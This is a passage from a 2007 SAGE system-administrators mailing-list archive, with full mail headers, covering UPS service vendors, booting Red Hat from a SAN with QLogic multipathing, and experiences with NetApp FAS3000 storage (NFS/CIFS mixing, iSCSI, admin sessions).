contractors listed, and I am sure you could locate a service firm
searching online.

Best regards,
Daniel

-----Original Message-----
From: owner-sage-members@usenix.org
[mailto:owner-sage-members@usenix.org] On Behalf Of Philip J. Hollenback
Sent: Thursday, March 15, 2007 11:47 PM
To: sage-members@sage.org
Subject: [SAGE] Liebert UPS maintenance costs

So:

1. Does anyone get UPS service from a company that is not the original
   equipment manufacturer?  I'm talking about whole-room UPSes here.

2. Can anyone recommend a company that performs this service in
   Manhattan?

Thanks,
P.

The information contained in this e-mail message and any 
attachments may be privileged and confidential. If the reader of 
this message is not the intended recipient or an agent 
responsible for delivering it to the intended recipient, you are 
hereby notified that any review, dissemination, distribution or 
copying of this communication is strictly prohibited. If you have 
received this communication in error, please notify the sender 
immediately by replying to this e-mail and delete the message and 
any attachments from your computer.





From sage-members-owner@usenix.org Fri Mar 16 17:49:48 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2H0nm08016286
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 16 Mar 2007 17:49:48 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2H0nm4p016285
	for sage-members-0utGoign; Fri, 16 Mar 2007 17:49:48 -0700 (PDT)
Received: from smtp-roam.Stanford.EDU (smtp-roam.Stanford.EDU [171.64.10.152])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2H0nNBG016276
	for <sage-members@sage.org>; Fri, 16 Mar 2007 17:49:33 -0700 (PDT)
Received: from [192.168.1.3] (c-67-180-23-63.hsd1.ca.comcast.net
	[67.180.23.63]) (authenticated bits=0)
	by smtp-roam.Stanford.EDU (8.12.11/8.12.11) with ESMTP id
	l2H0nCOW003187
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT);
	Fri, 16 Mar 2007 17:49:13 -0700
In-Reply-To: <82a71f8a0703151044p41b88302k854a8dcb10961744@mail.gmail.com>
References: <82a71f8a0703091425tb991ed9kc6a504eeb68ffc62@mail.gmail.com>
	<45F27ED2.1020307@gmail.com>
	<82a71f8a0703131318i3df8a01dpc2e7fdd8296caa9f@mail.gmail.com>
	<45F87F72.4050601@gmail.com>
	<82a71f8a0703151044p41b88302k854a8dcb10961744@mail.gmail.com>
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <F681712D-E20E-4B74-9FA4-223D1B9C3A3E@stanford.edu>
Cc: "Marco Marongiu" <brontolinux@gmail.com>,
	"SAGE mailing list" <sage-members@sage.org>
Content-Transfer-Encoding: 7bit
From: "Sandor W. Sklar" <ssklar@stanford.edu>
Subject: Re: [SAGE] Booting RedHat from SAN
Date: Fri, 16 Mar 2007 17:49:10 -0700
To: Doug Hanks <dhanks@gmail.com>
X-Mailer: Apple Mail (2.752.2)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=1%
Sender: owner-sage-members@usenix.org
Precedence: bulk

We're using QLA200 HBAs in Sun X4100s with RHEL4, and doing the multi- 
pathing in the driver provided by QLogic (not the minimally  
functional one provided by Red Hat.)

I also like to have that kind of thing handled by the driver.  It has  
been working pretty well; the only tricky part has been upgrading/ 
reinstalling the driver whenever we do a kernel update.

	-s-

On Mar 15, 2007, at 10:44 AM, Doug Hanks wrote:

> I would rather off-load the multi-pathing to something that could do
> it well, assuming that the HBA can do this.  I would like the HBA to
> act as a SCSI controller does - take care of all the redundancy in the
> background and present a logical device to the OS.
>
> Is this possible with QLogic HBAs?  Can the HBAs themselves handle the
> multipathing - or does the pathing have to be done at the OS level
> still?
>
> Doug
>
> On 3/14/07, Marco Marongiu <brontolinux@gmail.com> wrote:
>>
>>
>> Doug Hanks wrote:
>> > Sounds like what you did was booting from SAN.
>> No Doug, we don't. We boot from local disks and we use FC LUNs from
>> NetApp devices to store data (e.g. Oracle stuff). When we get to the
>> LUNs, the OS is already loaded from local disks.
>> > Did you configure the Qlogic HBAs to see the LUNs and configure the
>> > BIOS to use the HBAs as a boot device?
>> See above
>> >
>> > I'm also interested if using this technique you would have dual- 
>> paths
>> > and all the pathing logic was handled by the HBA.
>> >
>> As said, we use the device mapper multipath support in Linux, with no
>> intervention from the HBA. All the pathing logic is handled by the
>> device mapper.
>>
>> Ciao
>> --bronto
>>
>>
>
>
> -- 
> - Doug Hanks = dhanks(at)gmail(dot)com



From sage-members-owner@usenix.org Sun Mar 18 13:18:51 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2IKIjC7008152
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 18 Mar 2007 13:18:50 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2IKIjbG008151
	for sage-members-0utGoign; Sun, 18 Mar 2007 13:18:45 -0700 (PDT)
Received: from rooster.creighton.edu (rooster.creighton.edu [147.134.2.73])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2IKIOXu008143
	for <sage-members@sage.org>; Sun, 18 Mar 2007 13:18:34 -0700 (PDT)
Received: by rooster.creighton.edu (Postfix, from userid 1000)
	id C788F2E03B; Sun, 18 Mar 2007 14:51:35 -0500 (CDT)
Date: Sun, 18 Mar 2007 14:51:35 -0500
From: Sean Kelly <smkelly@creighton.edu>
To: SAGE mailing list <sage-members@sage.org>
Subject: [SAGE] NetApp FAS3000 experiences?
Message-ID: <20070318195135.GA26719@rooster.creighton.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

We are starting to look at better ways to handle our ever increasing
storage needs, and one of the options on the table that we're looking at is
a device from the NetApp FAS3000 series. It is attractive to us because of
the CIFS, FC, iSCSI, and more all rolled up into one package. We're hoping
it'd bring us more flexibility for a potentially lower cost than our existing
HDS Thunder.

I've seen a few people mention that they have FAS3000s in the last week or so on
this list, so I thought I'd ask for opinions on how well of a job it does.
We'd primarily be using it for SAN and CIFS up front, with the potential
for iSCSI and NFS later maybe.

Applications that would live on it:
 * File shares for the University (CIFS)
 * VMware ESX VMFS3 volumes (SAN)
 * Microsoft Exchange, eventually (SAN)
 * Oracle databases, eventually (SAN)

I'm having a hard time finding actual informative whitepapers on the
device. The "Technical Reports" section of the NetApp website is less
helpful than I'd like. I'd like to find more information on how FlexVols
work, how block-based storage is stored in WAFL vs. inode-based, and how
migration of data works from different disk tier levels.

Does anybody have a PDF of the manual to an FAS3000 I could have? I can't
seem to find one.

Thanks for any informration anybody can provide. I've already asked a
NetApp vendor some of my harder questions, and I reduced them into a
gelatinous pile of salesman-speak. It was fun, but sad.

-- 
Sean M. Kelly
Unix Systems Architect
Division of Information Technology
Creighton University
(402) 280-2264
AIM: smkellyg5


From sage-members-owner@usenix.org Sun Mar 18 14:13:52 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2ILDXjW009262
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 18 Mar 2007 14:13:33 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2ILDXUK009261
	for sage-members-0utGoign; Sun, 18 Mar 2007 14:13:33 -0700 (PDT)
Received: from smtp102.his.com (smtp102.his.com [216.194.225.125])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2ILCraT009237
	for <sage-members@sage.org>; Sun, 18 Mar 2007 14:13:03 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
	by smtp102.his.com (Postfix) with ESMTP id 2542B41C04D;
	Sun, 18 Mar 2007 17:11:16 -0400 (EDT)
Received: from smtp102.his.com ([216.194.225.125])
	by localhost (smtp102.his.com [216.194.225.125]) (amavisd-new,
	port 10024)
	with ESMTP id 22953-09; Sun, 18 Mar 2007 17:11:14 -0400 (EDT)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp102.his.com (Postfix) with ESMTP id 7CEEE41C00B;
	Sun, 18 Mar 2007 17:11:14 -0400 (EDT)
Received: from [10.0.1.201] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l2ILChV5072299;
	Sun, 18 Mar 2007 16:12:44 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240501c2235491ca5d@[10.0.1.201]>
In-Reply-To: <20070318195135.GA26719@rooster.creighton.edu>
References: <20070318195135.GA26719@rooster.creighton.edu>
Date: Sun, 18 Mar 2007 16:12:37 -0500
To: Sean Kelly <smkelly@creighton.edu>,
	SAGE mailing list <sage-members@sage.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] NetApp FAS3000 experiences?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.336 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.063, BAYES_00=-2.599]
X-Spam-Score: -4.336
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 2:51 PM -0500 3/18/07, Sean Kelly wrote:

>  I've seen a few people mention that they have FAS3000s in the last week or
>  so on this list, so I thought I'd ask for opinions on how well of a job
>  it does.  We'd primarily be using it for SAN and CIFS up front, with the
>  potential for iSCSI and NFS later maybe.

Don't try to mix NFS and CIFS on the same filesystems.  In fact, I'm 
not sure I'd try to mix them on the same box.

Although iSCSI isn't as rough as it once was, it's still reasonably 
new, and some of the underlying issues are not as well understood by 
network design & operations personnel as "regular" IP applications. 
Once you through in TOE-enabled NICs, and high-speed cables and 
switchgear that can handle the load (and latency), you're probably 
going to spend about as much money on iSCSI as you would with a 
dedicated SAN, and you will have made everything completely reliant 
on the same network -- and potentially created a new 
single-point-of-failure.

These boxes were not designed from the ground-up to be SAN, iSCSI, or 
FC hosts, so they're not going to work quite as well in that role as 
boxes that were.  That said, it is possible that they may work as 
well as you need.

Historically, one of my biggest complaints about NetApp has been 
their admin interface.  I'm pretty sure that they still have only a 
single-user mode for the admin.  If you have one guy logged onto the 
admin interface who then locks his screen and goes on vacation, 
you're screwed.  You've got to log onto his box, kill his telnet 
session, and only then can someone else log into the admin interface.

>  I'm having a hard time finding actual informative whitepapers on the
>  device. The "Technical Reports" section of the NetApp website is less
>  helpful than I'd like. I'd like to find more information on how FlexVols
>  work, how block-based storage is stored in WAFL vs. inode-based, and how
>  migration of data works from different disk tier levels.

You're not going to get a whole lot out of them until you buy some 
hardware and sign some NDAs.  And even then, there's a lot of stuff 
you're not going to see.  You might be able to take some classes from 
them and learn some details about things, but they play their cards 
pretty close to their chest, because they don't want to lose too many 
of their advantages to their competitors.

They have published a few papers at USENIX conferences, see 
<http://www.usenix.org/publications/library/proceedings/sf94/hitz.html>, 
<http://www.usenix.org/events/osdi99/full_papers/hutchinson/hutchinson_html/hutchinson.html>, 
<http://www.usenix.org/events/osdi00/wiess2000/invitedtalks/kleiman_html/>, 
<http://www.usenix.org/publications/library/proceedings/usenix-nt98/full_papers/hitz/hitz_html/hitz.html>, 
and probably some others.


With regards to their competitors, I know at least one person who 
works at HDS, and one of their more popular configurations is 
actually have have the HDS box provide the back-end disk storage, and 
have the NetApp provide the NFS & CIFS front-end.  This gives you the 
best and most scalable back-end storage solution, while also giving 
you a good support in the protocol areas where HDS isn't so strong.

In this case, I'd expect that you could go direct to HDS for the 
iSCSI/FC/SAN functions, and to the NetApp for NFS & CIFS.

At the very least, I'd talk to your HDS sales people and give them a 
chance to try to find a way to keep at least some of your business. 
And you might find that they are actually more helpful in giving you 
some of the information you want about NetApp than you're likely to 
get from anywhere else, since they also provide that option 
themselves.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
LinkedIn Profile: <http://tinyurl.com/y8kpxu>
Slides from Invited Talks: <http://tinyurl.com/tj6q4>


From sage-members-owner@usenix.org Sun Mar 18 15:09:48 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2IM9lN0010328
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 18 Mar 2007 15:09:48 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2IM9l86010327
	for sage-members-0utGoign; Sun, 18 Mar 2007 15:09:47 -0700 (PDT)
Received: from mail3.panix.com (mail3.panix.com [166.84.1.74])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2IM9A8J010317
	for <sage-members@sage.org>; Sun, 18 Mar 2007 15:09:23 -0700 (PDT)
Received: from panix1.panix.com (panix1.panix.com [166.84.1.1])
	by mail3.panix.com (Postfix) with ESMTP id D781113A782;
	Sun, 18 Mar 2007 18:09:02 -0400 (EDT)
Received: (from jac@localhost)
	by panix1.panix.com (8.11.6p3/8.8.8/PanixN1.1) id l2IM92s12460;
	Sun, 18 Mar 2007 18:09:02 -0400 (EDT)
Date: Sun, 18 Mar 2007 15:09:02 -0700
From: John Clear <jac@panix.com>
To: Brad Knowles <brad@shub-internet.org>
Cc: Sean Kelly <smkelly@creighton.edu>,
	SAGE mailing list <sage-members@sage.org>
Subject: Re: [SAGE] NetApp FAS3000 experiences?
Message-ID: <20070318220902.GB15664@panix.com>
References: <20070318195135.GA26719@rooster.creighton.edu>
	<p06240501c2235491ca5d@[10.0.1.201]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <p06240501c2235491ca5d@[10.0.1.201]>
User-Agent: Mutt/1.5.10i
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=36%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Sun, Mar 18, 2007 at 04:12:37PM -0500, Brad Knowles wrote:
> At 2:51 PM -0500 3/18/07, Sean Kelly wrote:
> 
> > I've seen a few people mention that they have FAS3000s in the last week or
> > so on this list, so I thought I'd ask for opinions on how well of a job
> > it does.  We'd primarily be using it for SAN and CIFS up front, with the
> > potential for iSCSI and NFS later maybe.
> 
> Don't try to mix NFS and CIFS on the same filesystems.  In fact, I'm 
> not sure I'd try to mix them on the same box.

We share all our NFS volumes (qtrees in NetApp speak, but I'll use
the more generic term for simplicity) via CIFS as well.  It works
just fine as long as your Unix and Windows usernames match.  Sharing
a CIFS volumes via NFS just doesn't work.

> Although iSCSI isn't as rough as it once was, it's still reasonably 
> new, and some of the underlying issues are not as well understood by 
> network design & operations personnel as "regular" IP applications. 
> Once you through in TOE-enabled NICs, and high-speed cables and 
> switchgear that can handle the load (and latency), you're probably 
> going to spend about as much money on iSCSI as you would with a 
> dedicated SAN, and you will have made everything completely reliant 
> on the same network -- and potentially created a new 
> single-point-of-failure.

For high performance iSCSI access, what you say above is true.
For applications that just want to see a LUN, iSCSI works fine.
We run our Exchange datastore via iSCSI to a NetApp FAS270c.  It
has a dedicated network, with failover to the main production
network if needed.  We've been running it this way for about two
years now, and iSCSI wasn't new then.
  
> Historically, one of my biggest complaints about NetApp has been 
> their admin interface.  I'm pretty sure that they still have only a 
> single-user mode for the admin.  If you have one guy logged onto the 
> admin interface who then locks his screen and goes on vacation, 
> you're screwed.  You've got to log onto his box, kill his telnet 
> session, and only then can someone else log into the admin interface.

While it is true that there is just one admin session, you can
connect to the same session at the same time via console and telnet.
So in your above case, you can still connect via serial console.
And unless you changed the default, the other admin's telnet session
will time out in 60 minutes.  Still a pain sometimes though.

John


From sage-members-owner@usenix.org Sun Mar 18 16:07:45 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2IN7jRV011379
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 18 Mar 2007 16:07:45 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2IN7jjZ011378
	for sage-members-0utGoign; Sun, 18 Mar 2007 16:07:45 -0700 (PDT)
Received: from westnet.com (root@westnet.com [216.187.52.2])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2IN7aFg011370
	for <sage-members@sage.org>; Sun, 18 Mar 2007 16:07:41 -0700 (PDT)
Received: from westnet.com (localhost [127.0.0.1])
	by westnet.com (8.14.0/8.14.0) with ESMTP id l2IMwT8M011378;
	Sun, 18 Mar 2007 18:58:29 -0400 (EDT)
Received: from localhost (levins@localhost)
	by westnet.com (8.14.0/8.13.2/Submit) with ESMTP id l2IMwThG011374;
	Sun, 18 Mar 2007 18:58:29 -0400 (EDT)
Date: Sun, 18 Mar 2007 18:58:29 -0400 (EDT)
From: Adam Levin <levins@westnet.com>
To: John Clear <jac@panix.com>
cc: Brad Knowles <brad@shub-internet.org>, Sean Kelly <smkelly@creighton.edu>, 
	SAGE mailing list <sage-members@sage.org>
Subject: Re: [SAGE] NetApp FAS3000 experiences?
In-Reply-To: <20070318220902.GB15664@panix.com>
Message-ID: <Pine.GSO.4.64.0703181857250.10818@westnet.com>
References: <20070318195135.GA26719@rooster.creighton.edu>
	<p06240501c2235491ca5d@[10.0.1.201]> <20070318220902.GB15664@panix.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Sun, 18 Mar 2007, John Clear wrote:
> On Sun, Mar 18, 2007 at 04:12:37PM -0500, Brad Knowles wrote:
>> Historically, one of my biggest complaints about NetApp has been
>> their admin interface.  I'm pretty sure that they still have only a
>> single-user mode for the admin.  If you have one guy logged onto the
>> admin interface who then locks his screen and goes on vacation,
>> you're screwed.  You've got to log onto his box, kill his telnet
>> session, and only then can someone else log into the admin interface.
>
> While it is true that there is just one admin session, you can
> connect to the same session at the same time via console and telnet.
> So in your above case, you can still connect via serial console.
> And unless you changed the default, the other admin's telnet session
> will time out in 60 minutes.  Still a pain sometimes though.

If you have rsh or ssh access to the file, you can rsh filername logout 
telnet to log the guy out.  This has been around for quite a few versions 
of OnTAP.

-Adam


From sage-members-owner@usenix.org Sun Mar 18 17:39:20 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2J0dBZo012842
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 18 Mar 2007 17:39:11 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2J0dA6B012841
	for sage-members-0utGoign; Sun, 18 Mar 2007 17:39:10 -0700 (PDT)
Received: from smtp102.his.com (smtp102.his.com [216.194.225.125])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2J0cdYF012821
	for <sage-members@sage.org>; Sun, 18 Mar 2007 17:38:49 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
	by smtp102.his.com (Postfix) with ESMTP id 25EF941C00E;
	Sun, 18 Mar 2007 20:36:59 -0400 (EDT)
Received: from smtp102.his.com ([216.194.225.125])
	by localhost (smtp102.his.com [216.194.225.125]) (amavisd-new,
	port 10024)
	with ESMTP id 20376-02; Sun, 18 Mar 2007 20:36:56 -0400 (EDT)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp102.his.com (Postfix) with ESMTP id E235241C00B;
	Sun, 18 Mar 2007 20:36:56 -0400 (EDT)
Received: from [10.0.1.201] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l2J0cScP080691;
	Sun, 18 Mar 2007 19:38:29 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240500c2238718a1bc@[10.0.1.201]>
In-Reply-To: <20070318220902.GB15664@panix.com>
References: <20070318195135.GA26719@rooster.creighton.edu>
	<p06240501c2235491ca5d@[10.0.1.201]> <20070318220902.GB15664@panix.com>
Date: Sun, 18 Mar 2007 19:34:40 -0500
To: John Clear <jac@panix.com>, Brad Knowles <brad@shub-internet.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] NetApp FAS3000 experiences?
Cc: Sean Kelly <smkelly@creighton.edu>,
	SAGE mailing list <sage-members@sage.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.337 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.062, BAYES_00=-2.599]
X-Spam-Score: -4.337
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 3:09 PM -0700 3/18/07, John Clear quoted me:

>>  Don't try to mix NFS and CIFS on the same filesystems.  In fact, I'm
>>  not sure I'd try to mix them on the same box.
>
>  We share all our NFS volumes (qtrees in NetApp speak, but I'll use
>  the more generic term for simplicity) via CIFS as well.  It works
>  just fine as long as your Unix and Windows usernames match.  Sharing
>  a CIFS volumes via NFS just doesn't work.

Problem is, CIFS ACLs do not mix well at all with NFS permissions. 
So, you can't use any of the native Windows file permissions methods 
to control access to the data.  As long as you can guarantee that no 
one will ever try to apply CIFS permissions methods to the qtree in 
question, I guess you could give it a try.

But every other single person I've ever heard from that has tried to 
mix CIFS and NFS clients on the same qtree has reported nothing but 
heartache, trouble, and grief.  IMO, better not to try.

If you have a requirement where some users from each type need to 
share data files, you could mount the qtree as an NFS filesystem on 
the Windows clients, so that you don't try to mix modes.

>  For high performance iSCSI access, what you say above is true.
>  For applications that just want to see a LUN, iSCSI works fine.
>  We run our Exchange datastore via iSCSI to a NetApp FAS270c.  It
>  has a dedicated network, with failover to the main production
>  network if needed.  We've been running it this way for about two
>  years now, and iSCSI wasn't new then.

Two years ago, I was specifying a large Enterprise mail system for a 
client in the Netherlands.  Since we already had the NetApp filers 
bought & paid for in-house, I wanted to use them with iSCSI as a way 
of doing a SAN that would allow me to employ a real cluster-aware 
filesystem, so that I could base the mail system on Cyrus.  I was 
told that iSCSI was just recently announced and not really out of the 
labs yet.  So, I ended up having to use NFS and Courier-IMAP, instead.


Maybe it's production-ready now, but when you build the networks 
right, I don't see any significant savings over doing a "real" SAN.

You still end up setting up a dedicated "storage network", you still 
end up buying expensive interfaces for that storage network, and 
while you gain something from the network management perspective by 
eliminating FibreChannel and going with more mainstream TCP/IP 
networking that will be more familiar to your network admin staff, I 
believe that you may also lose something from the SAN 
performance/reliability perspective by going with a less mature 
protocol like iSCSI.

>  While it is true that there is just one admin session, you can
>  connect to the same session at the same time via console and telnet.
>  So in your above case, you can still connect via serial console.

Serial console.  Gack.  Been there, done that.  Even with a remote 
serial console management system, that's still a pain.

Oh, and what happens if someone else had connected to the serial 
console and left themselves logged in there?

>  And unless you changed the default, the other admin's telnet session
>  will time out in 60 minutes.

Unless they left the terminal open with some command running that 
continues to update the screen.  In which case, I don't think it ever 
times out.

>                                Still a pain sometimes though.

Yup.  I really, really hate the concept of single-user mode for 
administrative functions.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
LinkedIn Profile: <http://tinyurl.com/y8kpxu>
Slides from Invited Talks: <http://tinyurl.com/tj6q4>


From sage-members-owner@usenix.org Sun Mar 18 17:39:21 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2J0dJuY012845
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 18 Mar 2007 17:39:19 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2J0dIXx012844
	for sage-members-0utGoign; Sun, 18 Mar 2007 17:39:18 -0700 (PDT)
Received: from smtp102.his.com (smtp102.his.com [216.194.225.125])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2J0catL012822
	for <sage-members@sage.org>; Sun, 18 Mar 2007 17:38:46 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
	by smtp102.his.com (Postfix) with ESMTP id D291841C014;
	Sun, 18 Mar 2007 20:37:01 -0400 (EDT)
Received: from smtp102.his.com ([216.194.225.125])
	by localhost (smtp102.his.com [216.194.225.125]) (amavisd-new,
	port 10024)
	with ESMTP id 19270-08; Sun, 18 Mar 2007 20:37:00 -0400 (EDT)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp102.his.com (Postfix) with ESMTP id 4987741C013;
	Sun, 18 Mar 2007 20:37:00 -0400 (EDT)
Received: from [10.0.1.201] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l2J0cScR080691;
	Sun, 18 Mar 2007 19:38:33 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240501c2238b2c967a@[10.0.1.201]>
In-Reply-To: <Pine.GSO.4.64.0703181857250.10818@westnet.com>
References: <20070318195135.GA26719@rooster.creighton.edu>
	<p06240501c2235491ca5d@[10.0.1.201]> <20070318220902.GB15664@panix.com>
	<Pine.GSO.4.64.0703181857250.10818@westnet.com>
Date: Sun, 18 Mar 2007 19:35:48 -0500
To: Adam Levin <levins@westnet.com>, John Clear <jac@panix.com>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] NetApp FAS3000 experiences?
Cc: Brad Knowles <brad@shub-internet.org>, Sean Kelly <smkelly@creighton.edu>, 
	SAGE mailing list <sage-members@sage.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.337 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.062, BAYES_00=-2.599]
X-Spam-Score: -4.337
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 6:58 PM -0400 3/18/07, Adam Levin wrote:

>  If you have rsh or ssh access to the file, you can rsh filername logout
>  telnet to log the guy out.  This has been around for quite a few versions
>  of OnTAP.

That's cool.  I was not aware of that.

It's still a bit of a pain, though.  I just wish they didn't use a 
form of single-user mode for all admin functions.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
LinkedIn Profile: <http://tinyurl.com/y8kpxu>
Slides from Invited Talks: <http://tinyurl.com/tj6q4>


From sage-members-owner@usenix.org Sun Mar 18 18:18:16 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2J1I9Q7013946
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 18 Mar 2007 18:18:15 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2J1I9tQ013945
	for sage-members-0utGoign; Sun, 18 Mar 2007 18:18:09 -0700 (PDT)
Received: from bzz.taranis.org (bzz.taranis.org [38.112.190.19])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2J1HpfC013932
	for <sage-members@sage.org>; Sun, 18 Mar 2007 18:18:02 -0700 (PDT)
Received: by bzz.taranis.org (Postfix, from userid 100)
	id E661E541F; Sun, 18 Mar 2007 20:55:25 -0400 (EDT)
Date: Sun, 18 Mar 2007 20:55:25 -0400
From: Christophe Kalt <sage-members@klb.taranis.org>
To: SAGE mailing list <sage-members@sage.org>
Subject: Re: [SAGE] NetApp FAS3000 experiences?
Message-ID: <20070319005525.GA9552@bzz.taranis.org>
Mail-Followup-To: SAGE mailing list <sage-members@sage.org>
References: <20070318195135.GA26719@rooster.creighton.edu>
	<p06240501c2235491ca5d@[10.0.1.201]>
	<20070318220902.GB15664@panix.com>
	<p06240500c2238718a1bc@[10.0.1.201]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <p06240500c2238718a1bc@[10.0.1.201]>
User-Agent: Mutt/1.4.2.1i
X-Spring: flower
X-Message-Flag: Outlook is a highly efficient virus delivery agent.
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Mar 18, Brad Knowles wrote:
| > We share all our NFS volumes (qtrees in NetApp speak, but I'll use
| > the more generic term for simplicity) via CIFS as well.  It works
| > just fine as long as your Unix and Windows usernames match.  Sharing
| > a CIFS volumes via NFS just doesn't work.
| 
| Problem is, CIFS ACLs do not mix well at all with NFS permissions. 
| So, you can't use any of the native Windows file permissions methods 
| to control access to the data.  As long as you can guarantee that no 
| one will ever try to apply CIFS permissions methods to the qtree in 
